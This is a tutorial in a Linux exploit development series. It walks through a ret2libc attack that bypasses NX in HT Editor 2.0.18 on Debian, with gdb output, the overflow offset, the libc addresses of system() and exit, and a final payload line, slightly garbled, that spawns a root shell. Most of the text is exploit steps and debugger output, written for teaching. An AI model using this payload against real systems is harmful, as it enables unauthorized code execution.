# Linux exploit development part 3 (rev 2) - Real app demo

This is a quick tutorial on how to bypass DEP using the ret2libc technique from the part 3 of my tutorial series, if you have not read that paper I suggest you do before this one:

Linux exploit development part 3 - ret2libc

### NOTE:

- \* This paper will not cover any technical aspects.
- \* This paper will not teach you how to make buffer overflows.
- \* I will not be held responsible for anything you do using this knowledge.

## Requirements:

- \* The knowledge necessary for this demonstration can be found in the previous mentioned paper.
  - \* You will need a Debian Squeeze
  - \* GDB knowledge
  - \* checksec.sh
  - \* A vulnerable application (<u>HT Editor</u> <= 2.0.18)

Going trough this paper without possesing the required knowledge may not be beneficial for you.

Let's star!

## Compiling and checking our vulnerable application.

We can find our vulnerable application on <u>exploit-db</u> as well as <u>sourceforge</u>. Now that we have our vulnerable application let's compile it. If you remember in the last demonstration of part 2 we had to edit the Makefile in order to turn DEP/NX off, we will skip that part now.

Just check that the configure result matches.

Figure 1.

Than simply continue installing it with make and make install.

Our application is installed, let's see what protections is has. We use the <a href="mailto:checksec.sh">checksec.sh</a> script.

```
root@debian:/home/sickness/Desktop# ./checksec.sh --file ht-2/ht
RELRO STACK CANARY NX PIE FILE
No RELRO No canary found NX enabled No PIE ht-2/ht
root@debian:/home/sickness/Desktop#
```

Figure 2.

As we see we have only NX enabled and the other protections are disabled, so we are going to attempt bypassing NX using the ret2libc technique.

## Open the application in the debugger.

So we know from our previous tutorials that we can trigger an exception if we send a junk of 4108, let us quickly verify that.

Figure 3.

When the exception is triggered our registers look like this:

```
(gdb) info registers
                            0
eax
                 0 \times 0
есх
                 0xbfff8e70
                                      -1073770896
edx
                 0 \times 1
ebx
                                     1094795585
esp
                                     0xbfffe470
                                     0xbfffe740
ebp
                 0xbfffe740
                                     1094795585
esi
                 0x41414141
edi
                 0x41414141
                                     1094795585
eip
                 0x41414141
                                     0x41414141
eflags
                 0x10286
                            [ PF SF IF RF ]
                            115
СS
                 0x73
                            123
SS
                 0x7b
                            123
ds
                 0x7b
es
                 0x7b
                            123
fs
                 0 \times 0
                            0
                 0x33
                            51
gs
(gdb)
```

Figure 4,

If we analyze ESP we can see that it has been overwritten

| (gdb) info  | registers esp |            |                      |            |
|-------------|---------------|------------|----------------------|------------|
| esp         | 0xbfffe470    | 0xbfffe470 |                      |            |
| (gdb) x/40x | 0xbfffe470    |            |                      |            |
| 0xbfffe470: | 0x41414141    | 0x41414141 | 0×41414141           | 0×41414141 |
| 0xbfffe480: | 0x41414141    | 0x41414141 | 0x081fb700           | 0x01d8bea0 |
| 0xbfffe490: | 0xbfffe5d4    | 0x00000002 | 0×00000001           | 0×00000001 |
| 0xbfffe4a0: | 0×00000000    | 0×00000000 | $0 \times 000000000$ | 0xbfffe5d4 |
| 0xbfffe4b0: | 0×00000000    | 0x00000002 | 0xbfffe528           | 0x080b8070 |
| 0xbfffe4c0: | 0×00000001    | 0x08158078 | 0x081fafc0           | 0×00000000 |
| 0xbfffe4d0: | 0xb7d485a5    | 0xb7d483a5 | 0xb7f9369c           | 0x0814718d |
| 0xbfffe4e0: | 0xb7e5b304    | 0x081bd118 | 0xbfffe4f8           | 0×00000000 |
| 0xbfffe4f0: | 0xb7ff1040    | 0x081bd118 | 0xbfffe528           | 0x08147129 |
| 0xbfffe500: | 0xb7e5b304    | 0xb7e5aff4 | 0×00000000           | 0×00000001 |
| (gdb)       |               |            |                      |            |
|             |               |            |                      |            |

Figure 5.

## Find addresses of system(), /bin/bash and exit().

After some tries we determine that we need an offset of 4080 to overwrite EIP, which means that our exploit will look like this:

While searching for the addresses we will notice that exit() contains a null byte so that makes the address unusable but if you continue to search you can see that at 0xb7d48304 we have exit+4 which we can use.

```
(gdb) print system
$3 = {<text variable, no debug info>} 0xb7d52180 <system>
(gdb) print exit
$4 = {<text variable, no debug info>} 0xb7d48300 <exit>
(gdb) x/s 0xb7d48304
0xb7d48304 <exit+4>: "\350\246w\376\377\201\303\353,\021"
(gdb)
```

Figure 6.

We have system() and exit() now we need to find out the address of /bin/bash.

```
0xbffff6e0: 'A' <repeats 108 times>
0xbffff74d: "SSH_AGENT_PID=2234"
0xbffff760: "TERM=xterm"
0xbffff76b: "SHELL=/bin/bash"
0xbffff77b: "XDG_SESSION_COOKIE=0f0ee2af8017efc9aa .647755-1198074554"
0xbffff7cc: "WINDOWID=41943043"
---Type <return> to continue, or q <return> to quit---
```

Figure 7.

```
(gdb) x/s 0xbffff76b
0xbffff76b: "SHELL=/bin/bash"
(gdb) x/s 0xbffff770
0xbffff770: "=/bin/bash"
(gdb) x/s 0xbffff771
0xbffff771: "/bin/bash"
(gdb)
```

Figure 8.

As you can see we have everything we need to make our exploit, it should look like this:

### Let's have fun!

```
(gdb) run print "x41" * 4080 + "x80x21xd5xb7" + "x04x83xd4xb7" + "x71xf7xffxbf")
```

Figure 9.

Figure 10.

```
root@debian:/home/sickness/Desktop/ht-2# exit
Program exited with code 0101.
(gdb)
```

Figure 11.

Video demonstration: Linux exploit development part 3 (rev 2) - Real app demo (video)